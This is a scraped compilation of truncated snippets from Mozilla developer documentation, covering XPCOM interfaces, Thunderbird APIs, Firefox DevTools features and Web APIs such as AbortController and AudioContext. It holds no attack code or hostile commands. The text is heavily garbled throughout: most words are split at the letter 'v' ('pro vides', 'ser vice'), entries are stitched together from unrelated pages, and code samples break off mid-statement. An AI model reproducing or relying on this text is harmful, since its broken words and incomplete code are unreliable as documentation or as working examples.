view nsidomdocumentfragment parsefragment(in astring fragment, in prbool isxml, in nsiuri baseuri, in nsidomelement element); astring unescape(in astring src); methods parsefragment() parses a string of html or xml source into a sanitized documentfragment.
nsISimpleEnumerator
xpcom/ds/nsisimpleenumerator.idlscriptable this interface represents an enumeration of xpcom objects and pro
vides methods to access elements sequentially.
... inherits from: nsisupports last changed in gecko 0.9.6 method over
view nsisupports getnext(); boolean hasmoreelements(); methods getnext() called to retrieve the next element in the enumerator.
...hasmoreelements() called to determine whether or not the enumerator has any elements that can be returned
via getnext().
nsIStandardURL
it supports initialization from a relative path and pro
vides some customization on how urls are normalized.
...to create an instance, use: var standardurl = components.classes["@mozilla.org/network/standard-url;1"] .createinstance(components.interfaces.nsistandardurl); method over
view void init(in unsigned long aurltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description mutable boolean control whether or not this url can be modified.
...if null, then pro
vide abaseuri implements this interface, the origin charset of abaseuri will be assumed, otherwise defaulting to utf-8 (that is, no charset transformation from aspec).
nsIStreamListener
method over
view void ondataavailable(in nsirequest arequest, in nsisupports acontext, in nsiinputstream ainputstream, in unsigned long aoffset, in unsigned long acount); methods ondataavailable() this method is called when the next chunk of data for the ongoing request may be read without blocking the calling thread.
...aoffset number of bytes that were sent in pre
vious ondataavailable() calls for this request.
... in other words, the sum of all pre
vious count parameters.
nsISupports
last changed in gecko 1.0 method over
view nsrefcnt addref();
violates the xpcom interface guidelines void queryinterface(in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result); nsrefcnt release();
violates the xpcom interface guidelines methods
violates the xpcom interface guidelines addref() notifies the object that an interface pointer has been duplicated.
...queryinterface() the queryinterface method pro
vides runtime type discovery.
...
violates the xpcom interface guidelines release() notifies the object that an interface pointer has been destroyed and any resources the object held on behalf of the client can be released.
nsIThreadPool
xpcom/threads/nsithreadpool.idlscriptable the nsithreadpool interface pro
vides support for thread pools.
... 1.0 66 introduced gecko 1.9 inherits from: nsieventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) a thread pool pro
vides a convenient way to process events off the main thread.
... method over
view void shutdown(); attributes attribute type description idlethreadlimit unsigned long get/set the maximum number of idle threads that are kept alive.
nsITransaction
inherits from: nsisupports last changed in gecko 1.7 method over
view void dotransaction(); boolean merge(in nsitransaction atransaction); void redotransaction(); void undotransaction(); attributes attribute type description istransient boolean the transaction's transient state.
...boolean merge( in nsitransaction atransaction ); parameters atransaction the pre
viously executed transaction to merge.
...can only be called on a transaction that was pre
viously undone.
nsIURIFixup
inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/docshell/urifixup;1 as a ser
vice: var urifixup = components.classes["@mozilla.org/docshell/urifixup;1"] .createinstance(components.interfaces.nsiurifixup); method over
view nsiuri createexposableuri(in nsiuri auri); nsiuri createfixupuri(in autf8string auritext, in unsigned long afixupflags); nsiuri keywordtouri(in autf8string akeyword); nsiurifixupinfo getfixupuriinfo(in autf8string auritext, in unsigned long afixupflags); constants constant value description ...
... fixup_flag_allow_keyword_lookup 1 allow the fixup to use a keyword lookup ser
vice to complete the uri.
... exceptions thrown ns_error_unknown_protocol when we can not get a protocol handler ser
vice for the uri scheme.
nsIUTF8StringEnumerator
xpcom/ds/nsistringenumerator.idlscriptable an object can implement this interface to allow a client to iterate over a set of strings pro
vided by the object.
... inherits from: nsisupports last changed in gecko 1.7 method over
view autf8string getnext(); boolean hasmore(); methods getnext() returns the next string in the enumerator.
...hasmore() reports whether or not the enumerator has any strings that can be returned
via getnext().
nsIUUIDGenerator
1.0 66 introduced gecko 1.8.1 inherits from: nsisupports last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by @mozilla.org/uuid-generator; as a ser
vice: var uuidgenerator = components.classes["@mozilla.org/uuid-generator;1"] .getser
vice(components.interfaces.nsiuuidgenerator); method over
view nsidptr generateuuid(); void generateuuidinplace(in nsnonconstidptr id); native code only!
...exceptions thrown ns_error_failure if a uuid cannot be generated (for example if an underlying source of randomness is not available) native code only!generateuuidinplace obtain a new uuid like the generateuuid() method, but place it in the pro
vided nsid pointer instead of allocating a new nsid.
... exceptions thrown ns_error_failure if a uuid cannot be generated (for example if an underlying source of randomness is not available) example generating a uuid var uuidgenerator = components.classes["@mozilla.org/uuid-generator;1"] .getser
vice(components.interfaces.nsiuuidgenerator); var uuid = uuidgenerator.generateuuid(); var uuidstring = uuid.tostring(); ...
nsIUpdateChecker
toolkit/mozapps/update/nsiupdateser
vice.idlscriptable this interface describes an object that knows how to check for software updates.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void checkforupdates(in nsiupdatechecklistener listener, in boolean force); void stopchecking(in unsigned short duration); constants constant value description current_check 1 constant for the stopchecking() method indicating that only the current update check should be stopped.
... see also nsiupdatepatch nsiupdate nsiupdatechecklistener nsiapplicationupdateser
vice nsiupdatemanager nsiupdateprompt nsiupdatetimermanager ...
nsIUpdateManager
toolkit/mozapps/update/nsiupdateser
vice.idlscriptable this interface describes a global application ser
vice that maintains a list of pre
viously installed updates, as well as the currently in use update.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view nsiupdate getupdateat(in long index); void saveupdates(); attributes attribute type description activeupdate nsiupdate an nsiupdate object describing the currently in use update.
...see also nsiupdate nsiupdatechecklistener nsiupdatechecker nsiupdatepatch nsiapplicationupdateser
vice nsiupdateprompt nsiupdatetimermanager ...
nsIUpdatePatch
toolkit/mozapps/update/nsiupdateser
vice.idlscriptable an interface that describes an object representing a patch file that can be downloaded and applied to a version of this application so that it can be updated.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view nsidomelement serialize(in nsidomdocument updates); attributes attribute type description finalurl astring the final url this patch was being downloaded from.
...see also nsiupdate nsiupdatechecklistener nsiupdatechecker nsiapplicationupdateser
vice nsiupdatemanager nsiupdateprompt nsiupdatetimermanager ...
nsIVersionComparator
the ser
vice can be accessed directly
via ser
vices.vc after loading ser
vices.jsm or with the following code: var versioncomparator = components.classes["@mozilla.org/xpcom/version-comparator;1"] .getser
vice(components.interfaces.nsiversioncomparator); method over
view long compare(in acstring a, in acstring b); methods compare() compare two version strings.
... return value if a and b are two version being compared, and the return value is smaller than 0, then a < b equals 0 then version, then a==b is bigger than 0, then a > b example function compareversions(a,b) { var x = ser
vices.vc.compare(a,b); if(x == 0) return a + "==" + b; else if(x > 0) return a + ">" + b; return a + "<" + b; } dump(compareversions("1.0pre", "1.0")); example - compare current browser version this example here uses nsixulappinfo component to get the version of the browser that the code is running in.
... see here: nsixulappinfo components.utils.import("resource://gre/modules/ser
vices.jsm"); var curentbrowserversion = ser
vices.appinfo.platformversion; //example: '31.*' var comparetothisversion = '25.*'; var compareresult = ser
vices.vc.compare(curentbrowserversion, comparetothisversion); if (compareresult == -1) { //currentbrowserversion is less than '25.*' (comparetothisversion) } else if (compareresult == 0) { //currentbrowserversion is '25.*' (comparetothisversion) } else if (compareresult == 1) { //currentbrowserversion is greater than '25.*' (comparetothisversion) } else { //will never get here as ser
vices.vc.compare only returns -1, 0, or 1 } see also toolkit version format ...
nsIWebBrowserFind
to change this beha
vior, and to explicitly set the frame to search, queryinterface to nsiwebbrowserfindinframes.
... method over
view boolean findnext(); attributes attribute type description entireword boolean whether to match entire words only.
... methods findnext() finds, highlights, and scrolls into
view the next occurrence of the search string, using the current search settings.
nsIWebProgress
last changed in gecko 1.8.0 inherits from: nsisupports method over
view void addprogresslistener(in nsiwebprogresslistener alistener, in unsigned long anotifymask); void removeprogresslistener(in nsiwebprogresslistener alistener); attributes attribute type description domwindow nsidomwindow the dom window associated with this nsiwebprogress instance.
... removeprogresslistener() removes a pre
viously registered listener of progress events.
... void removeprogresslistener( in nsiwebprogresslistener alistener ); parameters alistener the listener interface pre
viously registered with a call to addprogresslistener().
nsIXULRuntime
xpcom/system/nsixulruntime.idlscriptable pro
vides information about the xul runtime to allow extensions and xul applications to determine information about the xul runtime.
...to get an instance, use: var xulruntime = components.classes["@mozilla.org/xre/app-info;1"] .getser
vice(components.interfaces.nsixulruntime); method over
view void invalidatecachesonrestart(); attributes attribute type description accessibilityenabled boolean if true, the accessibility ser
vice is running.
... example display the user's operating system in an alert box: var xulruntime = components.classes["@mozilla.org/xre/app-info;1"] .getser
vice(components.interfaces.nsixulruntime); alert(xulruntime.os); see also nsixulappinfo - a related interface pro
viding information about the host application, it's also implemented by xre/app-info.
nsIXULTemplateQueryProcessor
method over
view void addbinding(in nsidomnode arulenode, in nsiatom avar, in nsiatom aref, in astring aexpr); print32 compareresults(in nsixultemplateresult aleft, in nsixultemplateresult aright, in nsiatom avar, in unsigned long asorthints); nsisupports compilequery(in nsixultemplatebuilder abuilder, in nsidomnode aquery, in nsiatom arefvariable, in nsiatom amembervariable); void done(); nsisimplee...
...asorthints the sort hints are the flags in nsixulsortser
vice.
...the value of aquery must be the result of a pre
vious call to compilequery() from this query processor.
nsMsgFolderFlagType
*/ const nsmsgfolderflagtype elided = 0x00000010; /// whether this is a
virtual search folder const nsmsgfolderflagtype
virtual = 0x00000020; /** @name news folder flags * these flags only occur in folders which have * the nsmsgfolderflags::newsgroup bit set, and do * not have the nsmsgfolderflags::directory or * nsmsgfolderflags::elided bits set.
... const nsmsgfolderflagtype inbox = 0x00001000; /// whether this folder on online imap const nsmsgfolderflagtype imapbox = 0x00002000; /// whether this is an archive folder const nsmsgfolderflagtype archive = 0x00004000; /// this used to be used for
virtual newsgroups const nsmsgfolderflagtype unused1 = 0x00008000; /// used to be for categories const nsmsgfolderflagtype unused4 = 0x00010000; /// this folder got new msgs const nsmsgfolderflagtype gotnew = 0x00020000; /// this folder is an imap server const nsmsgfolderflagtype imapserver = 0x00040000; /// this folder is an imap personal folder...
...nsmsgfolderflagtype offline = 0x08000000; /// this folder has offline events to play back const nsmsgfolderflagtype offlineevents = 0x10000000; /// this folder is checked for new messages const nsmsgfolderflagtype checknew = 0x20000000; /// this folder is for spam messages const nsmsgfolderflagtype junk = 0x40000000; /// this folder is in favorites
view const nsmsgfolderflagtype favorite = 0x80000000; /// special-use folders const nsmsgfolderflagtype specialuse = inbox|drafts|trash|sentmail| templates|junk|archive|queue; /** @} */ }; ...
XPCOM ownership guidelines
if you create a temporary object, ob
viously it's up to you to destroy it.
...special code must be pro
vided and called to break the cycle before the participants can be indi
vidually released.
...portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
MailNews fakeserver
extending a handler to pro
vide different mechanisms is a process not defined here; please check the documentation of the corresponding handler for instructions.
... locally localserver.someactionrequiringconnection(); server.performtest(); // nothing will be executed until the connection is closed // localserver.closecachedconnections() is generally a good way to do so server.resettest(); // set up second test server.performtest(); transaction = server.playtransaction(); // finished with tests server.stop(); } currently, fakeserver pro
vides no means to keep a persistent connection past a test, requiring connections to be closed, possibly forcibly.
...the server pro
vides the following api to xpcshell tests: <caption> nsmailserver xpcshell api </caption> name arguments returns description performtest none nothing runs until the test is forcibly aborted or stopped normally isstopped none if the server is stopped helper for performtest istestfinished none if the test is finished helper for performtest playtransaction none the transaction the transaction is an object with two properties: us, and them; us is an array of responses we sent, them an array of commands received resettest none nothing prepares the server for the next test without closing the connection start port number noth...
MailNews Protocols
nsimapmailfolder, nsnewsfolder, nslocalmailfolder (for pop3) a ser
vice class, which generally sits between the folder object or the server object, and the protocol object.
... the ser
vice class creates and initializes the url object for the operation, and hands that off to a protocol object to run.
... the ser
vice classes usually have their own interface, but they also implement nsimsgmessageser
vice.
Thunderbird API documentation
general mail client architecture over
view mail event system events new!
... account pro
visioner new!
... acti
vity manager address book sync client design buddy icons in mail composition composition back end in mail cached compose window faq filelink pro
viders new!
Use SQLite
ci = components.interfaces; var tbirdsqlite = { onload: function() { // initialization code this.initialized = true; this.dbinit(); }, dbconnection: null, dbschema: { tables: { attachments:"id integer primary key, \ name text \ encoded text not null" } }, dbinit: function() { var dirser
vice = cc["@mozilla.org/file/directory_ser
vice;1"].
... getser
vice(ci.nsiproperties); var dbfile = dirser
vice.get("profd", ci.nsifile); dbfile.append("tbird.sqlite"); var dbser
vice = cc["@mozilla.org/storage/ser
vice;1"].
... getser
vice(ci.mozistorageser
vice); var dbconnection; if (!dbfile.exists()) dbconnection = this._dbcreate(dbser
vice, dbfile); else { dbconnection = dbser
vice.opendatabase(dbfile); } this.dbconnection = dbconnection; }, _dbcreate: function(adbser
vice, adbfile) { var dbconnection = adbser
vice.opendatabase(adbfile); this._dbcreatetables(dbconnection); return dbconnection; }, _dbcreatetables: function(adbconnection) { for(var name in this.dbschema.tables) adbconnection.createtable(name, this.dbschema.tables[name]); }, }; window.addeventlistener("load", function(e) { tbirdsqlite.onload(e); }, false); this is another practical sample on how to handle opendatabase and sql queries on the client side, using in-memory (blob) st...
Folders and message lists
interacting with the current folder the folderdisplaywidget for the current folder can be accessed
via the global variable gfolderdisplay.
... this object pro
vides many of the functions required for working with folder
views.
...like selectmessage, this function will attempt to scroll the
view so the entire selection is
visible (which may not be possible for large selections).
Using Mozilla code in other projects
mozilla pro
vides a development platform for desktop applications, called xul, atop which you can build applications.
... nspr the netscape portable runtime pro
vides a platform-neutral api for system level and libc-type functions.
... necko the mozilla networking library pro
vides cross-platform networking functionality.
Using the Mozilla source server
the nightly debug builds are now also source indexed so that by following a couple of simple steps you can also have the source code served to you for debugging without a local build what you'll need windbg or
visual studio (note: express editions will not work, but windbg is a free download) a nightly build that was created after april 15, 2008; go to the /pub/firefox/nightly/latest-mozilla-central/ folder and grab the installer for builds predating the switch to mercurial, you'll need cvs.exe, added to your path (the cvs.exe from mozillabuild has problems, use this one instead) note: do not use the cvs from mozillabuild, it will not work!
... using the source server in
visual studio note: source server support does not work correctly out of the box in
visual studio 2005.
... if you install windbg, and copy srcsrv.dll from the windbg install dir to the
visual studio install dir (replacing the existing copy) it will work.
Declaring types
every type is represented by a ctype object, which, in turn, pro
vides a constructor method you can call to define values of those types.
...at the core of all this is a set of predefined types pro
vided by js-ctypes.
...in order to accomplish this you can either set the type of next to ctypes.voidptr_t, or to be more accurate, use the define technique: var struct = ctypes.structtype('struct'); struct.define([{ next: struct.ptr }]); arrays to declare a new array type, you use the ctypes.arraytype() method.when declaring a new array type, you pro
vide a ctype indicating the type of each element in the array as well as an optional array length.
Working with ArrayBuffers
the second code example pro
vides a specific illustration of the operation.
...this example is based on the fact that the imagedata returned from canvasrenderingcontext2d.getimagedata is a uint8clampedarray
view for an arraybuffer.
... the following codeblock pro
vides a basic example of getting and setting uint8clampedarray and arraybuffer of imagedata: // context is a canvasrenderingcontext2d of some canvas var imagedata = context.getimagedata(x, y, w, h); var array = imagedata.data; // array is a uint8clampedarray var buffer = imagedata.data.buffer; // buffer is a arraybuffer // incomingbuffer is a typedarray var imagedata2 = context.createimagedata(w, h); imagedata2.data.set(incomingbuffer); further, if you have a byte array pixelbuffer, and you need to create imagedata from it.
ArrayType
method over
view methods inherited from ctype ctype array([n]) string tosource() string tostring() arraytype cdata syntax cdata sized_arraytype(); cdata unsized_arraytype(length); sized_arraytype and unsized_arraytype are arraytype ctype.
... exceptions thrown typeerror length is not pro
vided for unsized array, or is pro
vided for sized array.
... arraytype cdata method_over
view cdata addressofelement(idx) methods inherited from cdata cdata address() string tosource() string tostring() arraytype cdata methods addressofelement() returns a new cdata object of the appropriate pointer type, whose value points to the specified array element on which the method was called.
StructType
this data type pro
vides the ability to define and manipulate values of the c struct type.
... method over
view define(fields) methods inherited from ctype ctype array([n]) string tosource() string tostring() methods define() defines a pre
viously declared opaque type's fields.
... structtype cdata method_over
view cdata addressoffield(name) methods inherited from cdata cdata address() string tosource() string tostring() structtype cdata methods addressoffield() returns a new cdata object of the appropriate pointer type, whose value points to the specified field of the structure on which the method was called.
Structures - Plugins
« pre
viousnext » this chapter describes the data structures that are used to represent the various objects in the plug-in api.
... npsetwindowcallbackstruct contains information about the plug-in's unix window en
vironment.
... « pre
viousnext » ...
DOM Inspector - Firefox Developer Tools
the dom hierarchy can be na
vigated using a two-paned window that allows a variety of different
views on the document and all nodes within.
...(thunderbird users browsing amo in firefox should save the installation link, or
visit the dom inspector for thunderbird page.) thunderbird 2 dom inspector for thunderbird 2 is available from thunderbird add-ons.
...you can install the sidebar panel
via edit > preferences > advanced > dom inspector, then simply open up the inspector panel and
visit a website.
Application - Firefox Developer Tools
the application panel pro
vides tools for inspecting and debugging modern web apps (also known as progressive web apps).
... this includes inspection of ser
vice workers and web app manifests.
... finding an example if you want to test this functionality and you don't have a handy pwa available, you can grab one of our simple examples to use: add to homescreen demo: shows pictures of foxes (source code | live version) js13kpwa demo: show information on entries to the js13k annual competition (source code | live version) how to debug ser
vice workers inspect web app manifests ...
Set event listener breakpoints - Firefox Developer Tools
in addition, you get a box overlaid on the
viewport saying "paused on event breakpoint", with buttons to step over that line of code or resume execution.
... inline variable pre
view new in firefox 71, the source pane now gives you an instant pre
view of the variables on each line of code you've stepped through.
... see set a breakpoint > inline variable pre
view for more information.
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
visit the url about:config, and set the devtools.chrome.enabled preference to true: setting the 'devtools.chrome.enabled' preference open a developer scratchpad (menu button > developer > scratchpad), and select "browser" from the "en
vironment" menu.
...(if you get an error complaining that components.utils is not defined, be sure you've selected browser from the scratchpad's en
vironment menu, as described in step 2.) save the following html text to a file, and
visit the file in your browser.
...(we will probably re
vise the allocation log to present such allocations in a way that is more informative, and that exposes less of firefox's internal structure.) as expected, the onclick handler is responsible for all allocation done by the page's own code.
Eyedropper - Firefox Developer Tools
underneath the magnifying glass it shows the color value for the current pixel using whichever scheme you've selected in settings > inspector > default color unit: you can use it in one of two ways: to select a color from the page and copy it to the clipboard to change a color value in the inspector's rules
view to a color you've selected from the page copying a color to the clipboard open the eyedropper in one of these two ways: select "eyedropper" under the "web developer" menu open the page inspector tab and click the eyedropper button in its toolbar as you move the mouse around the page you'll see the current color value in the eyedropper change.
... changing a color value in the rules
view color values appearing in the inspector's rules
view have color samples next to them: clicking the sample shows a color picker popup.
... now, when you click the eyedropper, the color in the rules
view is set to the color you selected.
Inspecting web sockets - Firefox Developer Tools
only requests with the 101 status code (websocket protocol handshake) are
visible, which indicates that the server is switching to a web socket connection.
... columns in the response pane in the response pane, you can choose to show the following information about each frame: data size time opcode maskbit finbit the data and time columns are
visible by default, but you can customize the interface to see more columns by choosing which ones to show from the context menu that is opened by right-clicking in the table header.
... expanding each message selecting a message in the list shows a pre
view of the data being sent in that message, at the bottom of the response pane.
Edit CSS filters - Firefox Developer Tools
css filter properties in the rules
view have a circular gray and white swatch next to them: clicking the swatch opens a filter editor: the filter editor lists each of the effects performed by that filter on a separate line.
... you can edit these lines, remove them indi
vidually, or drag the effects to change the order in which they are applied.
... sa
ving filter presets from firefox 42 onwards, you can also add filters to a list of presets.
Edit Shape Paths in CSS - Firefox Developer Tools
activate / deactivate the shape path editor the shape path editor is accessed
via the css rules panel, which can be opened as described in the guide to opening the inspector.
... mo
ving and scaling shapes there is extra functionality available on the shape highlight — if you ctrl/cmd + click on the shapes icon for your shape the highlight will change, instead pro
viding the ability to scale and/or move it.
... browser support the shape path editor currently works for shapes generated
via clip-path; it will also work for shapes generated
via shape-outside as of firefox 62.
Performance - Firefox Developer Tools
the tool then shows you an over
view of the things the browser was doing to render your site over the profile, and a graph of the frame rate over the profile.
...our sub-tools to examine aspects of the profile in more detail: the waterfall shows the different operations the browser was performing, such as executing layout, javascript, repaints, and garbage collection the call tree shows the javascript functions in which the browser spent most of its time the flame chart shows the javascript call stack over the course of the recording the allocations
view shows the heap allocations made by your code over the course of the recording.
... this
view only appears if you checked "record allocations" in the performance tool settings.
Shader Editor - Firefox Developer Tools
with webgl you pro
vide 2 programs called shaders which are called at the appropriate stages of the opengl rendering pipeline: a vertex shader, which computes the clip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn.
...javascript code running in the page then sends them for compilation using the webgl apis, and they're executed on the de
vice's gpu when needed.
... you'll now see a window di
vided into three panes: a list of all the glsl programs on the left, the vertex shader for the currently selected program in the middle, and the fragment shader for the currently selected program on the right: managing programs the left hand pane lists all programs currently in use by a webgl context.
Rich output - Firefox Developer Tools
in particular, it: pro
vides extra information for certain types enables detailed examination of the object's properties pro
vides richer information for dom elements, and enables you to select them in the inspector type-specific rich output the web console pro
vides rich output for many object types, including the following: object array date promise regexp window document element event examining object properties when an object is logged to the console it has a right-pointing triangle next to it, indicating that it can be expanded.
... click on the triangle, and the object will be expanded to show its contents: starting with firefox 67 (available now in firefox developer) you can use the arrow keys on your keyboard to na
vigate through objects displayed in the console.
... export output to the clipboard once you have output in the console window, you can save it to the clipboard by right-clicking on the output and selecting export
visible messages to clipboard: this will copy all of the output to the clipboard.
ANGLE_instanced_arrays - Web APIs
despite the name "angle", this extension works on any de
vice if the hardware supports it and not just on windows when using the angle library.
... constants this extension exposes one new constant, which can be used in the gl.getvertexattrib() method: ext.vertex_attrib_array_di
visor_angle returns a glint describing the frequency di
visor used for instanced rendering when used in the gl.getvertexattrib() as the pname parameter.
... ext.vertexattribdi
visorangle() modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with ext.drawarraysinstancedangle() and ext.drawelementsinstancedangle().
AbortController.AbortController() - Web APIs
examples in the following snippet, we aim to download a
video using the fetch api.
... var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetch
video); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetch
video() { ...
... li
ving standard initial definition ...
AbortController.abort() - Web APIs
examples in the following snippet, we aim to download a
video using the fetch api.
... var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetch
video); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetch
video() { ...
... li
ving standard initial definition ...
AbortController.signal - Web APIs
examples in the following snippet, we aim to download a
video using the fetch api.
... var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetch
video); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetch
video() { ...
... li
ving standard initial definition ...
AbortController - Web APIs
examples in the following snippet, we aim to download a
video using the fetch api.
... var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetch
video); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetch
video() { ...
... li
ving standard initial definition ...
AbstractWorker - Web APIs
the abstractworker interface of the web workers api is an abstract interface that defines properties and methods that are common to all types of worker, including not only the basic worker, but also ser
viceworker and sharedworker.
... specifications specification status comment html li
ving standardthe definition of 'abstractworker' in that specification.
... li
ving standard no change from unknown.
AmbientLightSensor - Web APIs
the ambientlightsensor interface of the the sensor apis returns the current light level or illuminance of the ambient light around the hosting de
vice.
... to use this sensor, the user must grant permission to the 'ambient-light-sensor' de
vice sensor through the permissions api.
... properties ambientlightsensor.illuminance returns the current light level in lux of the ambient light level around the hosting de
vice.
AnalyserNode.frequencyBinCount - Web APIs
this generally equates to the number of data values you will have to play with for the
visualization.
... syntax var arraylength = analysernode.frequencybincount; value an unsigned integer, equal to the number of values that analysernode.getbytefrequencydata() and analysernode.getfloatfrequencydata() copy into the pro
vided typedarray.
... analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { draw
visual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5 - 1; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.f...
AnimationEvent - Web APIs
the animationevent interface represents events pro
viding information related to animations.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/animationevent" tar...
... animationevent.elapsedtime read only is a float gi
ving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused.
AudioBufferSourceNode.loopEnd - Web APIs
buttons are pro
vided to play and stop the audio playback, and slider controls are used to change the playbackrate, loopstart and loopend properties on the fly.
... for a full working example, see this code running live, or
view the source.
... function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; loopstartcontrol.setattribute('max', math.floor(songlength)); loopendcontrol.setattribute('max', math.floor(songlength)); }, function(e){"error with decoding audio data" + e.err}); } request.send(); } ...
AudioBufferSourceNode.loopStart - Web APIs
buttons are pro
vided to play and stop the audio playback, and slider controls are used to change the playbackrate, loopstart, and loopend properties on the fly.
... for a full working example, see this code running live, or
view the source.
... function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; loopstartcontrol.setattribute('max', math.floor(songlength)); loopendcontrol.setattribute('max', math.floor(songlength)); }, function(e){"error with decoding audio data" + e.err}); } request.send(); } ...
AudioBufferSourceNode.playbackRate - Web APIs
buttons are pro
vided to play and stop the audio playback, and a slider control is used to change the playbackrate property value on the fly.
... you can run the example live (or
view the source.) play the song and alter the playback rate for some fun results.
... <input class="playback-rate-control" type="range" min="0.25" max="3" step="0.05" value="1"> <span class="playback-rate-value">1.0</span> function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range sl...
AudioBufferSourceNode - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
...the most recent call replaces the pre
vious one, if the audiobuffersourcenode has not already reached the end of the buffer.
... you can also run the code live, or
view the source.
AudioContext.createMediaStreamDestination() - Web APIs
the mediastream is created when the node is created and is accessible
via the mediastreamaudiodestinationnode's stream attribute.
... this stream can be used in a similar way as a mediastream obtained
via na
vigator.getusermedia — it can, for example, be sent to a remote peer using the rtcpeerconnection addstream() method.
... var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); document.queryselector("audio").src = url.createobjecturl(blob); }; </script> </body> </html> note: you can
view this example live, or study the source code, on github.
AudioContext - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
...this can be used to play and manipulate audio from <
video> or <audio> elements.
... audiocontext.resume() resumes the progression of time in an audio context that has pre
viously been suspended/paused.
AudioDestinationNode - Web APIs
the audiodestinationnode interface represents the end destination of an audio graph in a given context — usually the speakers of your de
vice.
... audiodestinationnode.maxchannelcount is an unsigned long defining the maximum number of channels that the physical de
vice can handle.
